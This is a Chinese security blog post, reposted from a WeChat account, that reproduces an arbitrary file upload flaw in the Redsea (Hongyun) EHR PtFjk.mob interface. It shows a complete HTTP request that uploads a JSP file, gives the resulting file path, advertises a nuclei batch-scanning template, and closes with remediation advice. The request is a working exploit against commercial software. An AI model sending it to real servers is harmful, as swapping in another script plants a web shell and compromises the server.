【1day】红海云EHR任意文件上传漏洞复现

admin 2024年5月14日21:21:11评论293 views字数 1084阅读3分36秒阅读模式
免责声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。

01
0x01漏洞描述

红海云EHR的PtFjk.mob接口 存在任意文件上传,攻击者可通过此漏洞上传恶意脚本文件,对服务器的正常运行造成安全威胁!

【1day】红海云EHR任意文件上传漏洞复现

02
0x02 漏洞复现 
POC如下所示:
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1Host: x.x.x.xAccept-Encoding: gzipUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4Content-Length: 210------WebKitFormBoundaryt7WbDl1tXogoZys4Content-Disposition: form-data; name="fj_file"; filename="11.jsp"Content-Type:image/jpeg<% out.print("hello,eHR");%>------WebKitFormBoundaryt7WbDl1tXogoZys4--
链接地址如下所示:url+/uploadfile/2024/05/10/20240510_xxx.jsp

【1day】红海云EHR任意文件上传漏洞复现

03
0x03nuclei批量检测

【1day】红海云EHR任意文件上传漏洞复现

获取方式:公众号后台回复【0510】

 修复建议

  1、对上传文件类型进行验证,除在前端验证外在后端依然要做验证,后端可以进行扩展名检测,重命名文件,MIME类型检测以及限制上传文件的大小等限制来防御,或是将上传的文件其他文件存储服务器中。

  2、严格限制和校验上传的文件,禁止上传恶意代码的文件。同时限制相关上传文件目录的执行权限,防止木马执行。

  3、对上传文件格式进行严格校验,防止上传恶意脚本文件;

  4、严格限制上传的文件路径。

  5、文件扩展名服务端白名单校验。

  6、文件内容服务端校验。

  7、上传文件重命名。

  8、隐藏上传文件路径。

【1day】红海云EHR任意文件上传漏洞复现
【1day】红海云EHR任意文件上传漏洞复现
END
【1day】红海云EHR任意文件上传漏洞复现
点击蓝字  关注我们

原文始发于微信公众号(爱喝酒烫头的曹操):【1day】红海云EHR任意文件上传漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月14日21:21:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【1day】红海云EHR任意文件上传漏洞复现https://cn-sec.com/archives/2734791.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息